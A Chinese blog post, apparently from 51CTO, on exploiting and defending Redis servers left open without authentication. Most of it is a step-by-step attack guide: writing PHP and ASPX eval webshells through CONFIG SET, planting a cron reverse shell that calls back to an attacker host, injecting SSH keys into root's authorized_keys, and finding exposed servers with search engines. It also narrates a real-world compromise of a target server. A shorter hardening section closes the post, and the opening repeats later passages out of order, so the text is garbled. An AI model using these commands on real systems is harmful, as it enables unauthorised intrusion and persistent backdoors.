Redis漏洞利用与防御 推荐
2018-05-11 12:00
726 查看
Redis在大公司被大量应用,通过笔者的研究发现,目前在互联网上已经出现Redis未经授权病毒似自动攻击,攻击成功后会对内网进行扫描、控制、感染以及用来进行挖矿、勒索等恶意行为,早期网上曾经分析过一篇文章“通过redis感染linux版本勒索病毒的服务器”(http://www.sohu.com/a/143409075_765820),如果公司使用了Redis,那么应当给予重视,通过实际研究,当在一定条件下,攻击者可以获取webshell,甚至root权限。
![](http://s1.51cto.com/images/20180511/1526011143761699.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图1安装配置redis5.连接Redis服务器(1)交互式方式
![](http://s1.51cto.com/images/20180511/1526011154323171.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图2Redis漏洞SSH免密码登录4.使用漏洞搜索引擎搜索(1)对“port: 6379”进行搜索https://www.zoomeye.org/searchResult?q=port:6379(2)除去显示“-NOAUTH Authentication required.”的结果,显示这个信息表示需要进行认证,也即需要密码才能访问。(3)https://fofa.so/关键字检索:port="6379" && protocol==redis && country=CN
![](http://s1.51cto.com/images/20180511/1526011165751181.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图3扫描同网段开放该端口的服务器2.使用telnet登录服务器使用命令“telnet ip port”命令登录,例如telnet 1**.**.**.78 3357,登录后,输入auth和密码进行认证。3.查看并保存当前的配置信息通过“config get命令”查看dir和dbfilename的信息,并复制下来留待后续恢复使用。
![](http://s1.51cto.com/images/20180511/1526011173864097.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图4写入webshell5. 测试webshell是否正常在浏览器中输入对应写入文件的名字,如图5所示进行访问,出现类似:“REDIS0006?webshell'a@H搀???”则表明正确获取webshell。
![](http://s1.51cto.com/images/20180511/1526011181220909.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图5测试webshell是否正常6.获取webshell如图6所示,使用中国菜刀后门管理连接工具,成功获取该网站的webshell。
![](http://s1.51cto.com/images/20180511/1526011188285477.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图6获取webshell7.恢复原始设置(1)恢复dir
![](http://s1.51cto.com/images/20180511/1526011200896020.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图7查看redis其配置文件
![](http://s1.51cto.com/images/20180511/1526011208739655.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图8检查keys(2)linux下需要检查authorized_keysRedis内建了名为crackit的key,也可以是其它值,同时Redis的conf文件中dir参数指向了/root/.ssh,/root/.ssh/authorized_keys被覆盖或者包含Redis相关的内容,查看其值就可以知道是否被入侵过。(3)对网站进行webshell扫描和分析,发现利用Redis账号漏洞的,则在shell中会村在Redis字样。(4)对服务器进行后门清查和处理。2.修复办法(1)禁止公网开放Redis端口,可以在防火墙上禁用6379 Redis的端口(2)检查authorized_keys是否非法,如果已经被修改,则可以重新生成并恢复,不能使用修改过的文件。并重启ssh服务(service ssh restart)(3)增加 Redis 密码验证首先停止REDIS服务,打开redis.conf配置文件(不同的配置文件,其路径可能不同) /etc/redis/6379.conf,找到# # requirepass foobared去掉前面的#号,然后将foobared改为自己设定的密码,重启启动redis服务。(4)修改conf文件禁止全网访问,打开6379.conf文件,找到bind0.0.0.0前面加上# (禁止全网访问)。3.可参考加固修改命令
http://cve.scap.org.cn/CVE-2015-8080.htmlhttp://cve.scap.org.cn/CVE-2015-4335.html
1.1.1 Redis简介及搭建实验环境
REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是字符串(String), 哈希(Map), 列表(list), 集合(sets) 和有序集合(sorted sets)等类型。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。目前最新稳定版本为4.0.8。1.Redis默认端口Redis默认配置端口为6379,sentinel.conf配置器端口为263792.官方站点https://redis.io/http://download.redis.io/releases/redis-3.2.11.tar.gz3.安装rediswget http://download.redis.io/releases/redis-4.0.8.tar.gz tar –xvf redis-4.0.8.tar.gz cd redis-4.0.8 make最新版本前期漏洞已经修复,测试时建议安装3.2.11版本。4.修改配置文件redis.conf
(1)cp redis.conf ./src/redis.conf (2)bind 127.0.0.1前面加上#号注释掉 (3)protected-mode设为no (4)启动redis-server ./src/redis-server redis.conf最新版安装成功后,如图1所示。默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。
![](http://s1.51cto.com/images/20180511/1526011143761699.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图1安装配置redis5.连接Redis服务器(1)交互式方式
redis-cli -h {host} -p {port}方式连接,然后所有的操作都是在交互的方式实现,不需要再执行redis-cli了,例如命令:redis-cli -h 127.0.0.1-p 6379,加-a参数表示带密码的访问。(2)命令方式
redis-cli -h {host} -p {port} {command}直接得到命令的返回结果.6.常见命令
(1)查看信息:info (2)删除所有数据库内容:flushall (3)刷新数据库:flushdb (4)看所有键:KEYS *,使用select num可以查看键值数据。 (5)设置变量:set test “who am i” (6)config set dir dirpath 设置路径等配置 (7)config get dir/dbfilename 获取路径及数据配置信息 (8)save保存 (9)get 变量,查看变量名称更多命令可以参考文章:https://www.cnblogs.com/kongzhongqijing/p/6867960.html7.相关漏洞因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露(Redis服务器存储一些有趣的session、cookie或商业数据可以通过get枚举键值),也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器,其相关漏洞信息如下:(1)Redis 远程代码执行漏洞(CVE-2016-8339)Redis 3.2.x < 3.2.4版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG SET命令可导致越界写,代码执行。(2)CVE-2015-8080Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函数整数溢出,允许上下文相关的攻击者许可运行Lua代码(内存损坏和应用程序崩溃)或可能绕过沙盒限制意图通过大量,触发基于栈的缓冲区溢出。(3)CVE-2015-4335Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码(4)CVE-2013-7458读取“.rediscli_history”配置文件信息。
1.1.2 Redis攻击思路
1. 内网端口扫描nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/242.通过文件包含读取其配置文件Redis配置文件中一般会设置明文密码,在进行渗透时也可以通过webshell查看其配置文件,Redis往往不只一台计算机,可以利用其来进行内网渗透,或者扩展权限渗透。3.使用Redis暴力破解工具https://github.com/evilpacket/redis-sha-crack,其命令为:
node ./redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1 host2.example.com:5555需要安装node:
git clone https://github.com/nodejs/node.git chmod -R 755 node cd node ./configure make4.msf下利用模块
auxiliary/scanner/redis/file_upload normal Redis File Upload auxiliary/scanner/redis/redis_login normal Redis Login Utility auxiliary/scanner/redis/redis_server normal Redis Command Execute Scanner
1.1.3Redis漏洞利用
1. 获取webshell当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell,前提是知道物理路径,精简命令如下:config set dir E:/www/font config set dbfilename redis2.aspx set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>" save2.反弹shell(1)连接Redis服务器
redis-cli –h 192.168.106.135 –p 6379(2)在192.168.106.133上执行
nc –vlp 7999(3)执行以下命令
set x "\n\n* * * * * bash -i >& /dev/tcp/192.168.106.133/7999 0>&1\n\n" config set dir /var/spool/cron/ ubantu文件为:/var/spool/cron/crontabs/ config set dir /var/spool/cron/crontabs/ config set dbfilename root save3.免密码登录ssh
ssh-keygen -t rsa config set dir /root/.ssh/ config set dbfilename authorized_keys set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZA3SEwRcvoYWXRkXoxu7BlmhVQz7Dd8H9ZFV0Y0wKOok1moUzW3+rrWHRaSUqLD5+auAmVlG5n1dAyP7ZepMkZHKWU94TubLBDKF7AIS3ZdHHOkYI8y0NRp6jvtOroZ9UO5va6Px4wHTNK+rmoXWxsz1dNDjO8eFy88Qqe9j3meYU/CQHGRSw0/XlzUxA95/ICmDBgQ7E9J/tN8BWWjs5+sS3wkPFXw1liRqpOyChEoYXREfPwxWTxWm68iwkE3/22LbqtpT1RKvVsuaLOrDz1E8qH+TBdjwiPcuzfyLnlWi6fQJci7FAdF2j4r8Mh9ONT5In3nSsAQoacbUS1lul root@kali2018\n\n\n" save执行效果如图2所示。
![](http://s1.51cto.com/images/20180511/1526011154323171.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图2Redis漏洞SSH免密码登录4.使用漏洞搜索引擎搜索(1)对“port: 6379”进行搜索https://www.zoomeye.org/searchResult?q=port:6379(2)除去显示“-NOAUTH Authentication required.”的结果,显示这个信息表示需要进行认证,也即需要密码才能访问。(3)https://fofa.so/关键字检索:port="6379" && protocol==redis && country=CN
1.1.4 Redis账号获取webshell实战
1.扫描某目标服务器端口信息通过nmap对某目标服务器进行全端口扫描,发现该目标开放Redis的端口为3357,默认端口为6379端口,再次通过iis put scaner软件进行同网段服务器该端口扫描,如图3所示,获取两台开放该端口的服务器。![](http://s1.51cto.com/images/20180511/1526011165751181.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图3扫描同网段开放该端口的服务器2.使用telnet登录服务器使用命令“telnet ip port”命令登录,例如telnet 1**.**.**.78 3357,登录后,输入auth和密码进行认证。3.查看并保存当前的配置信息通过“config get命令”查看dir和dbfilename的信息,并复制下来留待后续恢复使用。
config get dir config get dbfilename4.配置并写入webshell(1)设置路径config set dir E:/www/font(2)设置数据库名称 将dbfilename对名称设置为支持脚本类型的文件,例如网站支持php,则设置file.php即可,本例中为aspx,所以设置redis.aspx。
config set dbfilename redis.aspx(3)设置webshell的内容 根据实际情况来设置webshell的内容,webshell仅仅为一个变量,可以是a等其他任意字符,下面为一些参考示例。
set webshell "<?php phpinfo(); ?>" //php查看信息 set webshell "<?php @eval($_POST['chopper']);?> " //phpwebshell set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>" // aspx的webshell,注意双引号使用\"(4)保存写入的内容
save(5)查看webshell的内容
get webshell完整过程执行命令如图4所示,每一次命令显示“+OK”表示配置成功。
![](http://s1.51cto.com/images/20180511/1526011173864097.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图4写入webshell5. 测试webshell是否正常在浏览器中输入对应写入文件的名字,如图5所示进行访问,出现类似:“REDIS0006?webshell'a@H搀???”则表明正确获取webshell。
![](http://s1.51cto.com/images/20180511/1526011181220909.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图5测试webshell是否正常6.获取webshell如图6所示,使用中国菜刀后门管理连接工具,成功获取该网站的webshell。
![](http://s1.51cto.com/images/20180511/1526011188285477.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图6获取webshell7.恢复原始设置(1)恢复dir
config set dir dirname(2)恢复dbfilename
config set dbfilename dbfilename(3)删除webshell
del webshell(4)刷新数据库
flushdb8.完整命令总结
telnet 1**.**.**.35 33579.查看redis配置conf文件通过webshell,在其对应目录中发现还存在其它地址的redis,通过相同方法可以再次进行渗透,如图7所示,可以看到路径、端口、密码等信息。
auth 123456
config get dir config get dbfilename
config set dir E:/www/
config set dbfilename redis2.aspx
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save
get a
![](http://s1.51cto.com/images/20180511/1526011200896020.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图7查看redis其配置文件
1.1.5Redis入侵检测和安全防范
1.入侵检测(1)检测key 通过本地登录,通过“keys *”命令查看,如果有入侵则其中会有很多的值,如图8所示,在keys *执行成功后,可以看到有trojan1和trojan2命令,执行get trojan1即可进行查看。![](http://s1.51cto.com/images/20180511/1526011208739655.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
图8检查keys(2)linux下需要检查authorized_keysRedis内建了名为crackit的key,也可以是其它值,同时Redis的conf文件中dir参数指向了/root/.ssh,/root/.ssh/authorized_keys被覆盖或者包含Redis相关的内容,查看其值就可以知道是否被入侵过。(3)对网站进行webshell扫描和分析,发现利用Redis账号漏洞的,则在shell中会村在Redis字样。(4)对服务器进行后门清查和处理。2.修复办法(1)禁止公网开放Redis端口,可以在防火墙上禁用6379 Redis的端口(2)检查authorized_keys是否非法,如果已经被修改,则可以重新生成并恢复,不能使用修改过的文件。并重启ssh服务(service ssh restart)(3)增加 Redis 密码验证首先停止REDIS服务,打开redis.conf配置文件(不同的配置文件,其路径可能不同) /etc/redis/6379.conf,找到# # requirepass foobared去掉前面的#号,然后将foobared改为自己设定的密码,重启启动redis服务。(4)修改conf文件禁止全网访问,打开6379.conf文件,找到bind0.0.0.0前面加上# (禁止全网访问)。3.可参考加固修改命令
port 修改redis使用的默认端口号 bind 设定redis监听的专用IP requirepass 设定redis连接的密码 rename-command CONFIG "" #禁用CONFIG命令 rename-command info info2 #重命名info为info21.1.6总结很多人一看到网络攻防,就会觉得渗透攻击很难,很高深,很复杂。为响应读者号召,我将借助51CTO博客这个平台,把我18年来积累的网络攻防实战经验,精中取精,集结成17篇文章,让大家更针对性的了解SQLmap在网络攻防方向的应用。本专栏主要介绍如何利用SQLmap来进行网络攻防,内容上由浅入深,从SQLMap安装、SQLmap命令参数解读,到各种攻击利用场景和各种利用技巧,全方位解读SQLmap。专栏的每一个示例,都是经过精挑细选的来自真实环境的渗透,都是一个图文并茂的渗透故事。对于有疑问的地方,大家可以随时留言,我会随时解答。专栏地址:渗透攻击入门到实践,让SQLmap子*弹飞一会儿参考文章
http://cve.scap.org.cn/CVE-2015-8080.htmlhttp://cve.scap.org.cn/CVE-2015-4335.html
相关文章推荐
- 利用redis漏洞远程添加计划任务挖取比特币 推荐
- 记录一次攻击事件(redis 未授权漏洞利用直接登录服务器) 推荐
- 不请自来 | Redis 未授权访问漏洞深度利用
- Redis 未授权访问漏洞讲解利用加批量寻找
- 利用数据库漏洞扫描评估数据库安全性 1 概述 推荐
- 记录一次***事件(redis 未授权漏洞利用直接登录服务器)
- MySQL数据库渗透及漏洞利用总结 推荐
- Redis 安全漏洞检测攻击机防御
- 如何快速利用s02-45漏洞获取服务器权限 推荐
- 利用redis的未授权漏洞登陆远程主机
- 利用文件上传漏洞渗透某传销服务器 推荐
- 利用OpenVAS快速打造漏洞评估系统 推荐
- Redis未授权访问漏洞的利用姿势
- 推荐--利用google的搜索引擎,寻找网络漏洞的工具
- SSRF漏洞分析,利用及其防御
- redis 未授权漏洞利用直接登录服务器
- LNK快捷方式漏洞利用方式 exp制作教程 推荐
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
- 如何利用Axis2默认口令安全漏洞入侵WebService网站 推荐
- 黑客入侵阿里云主机挖矿以及利用redis漏洞扫描抓取肉鸡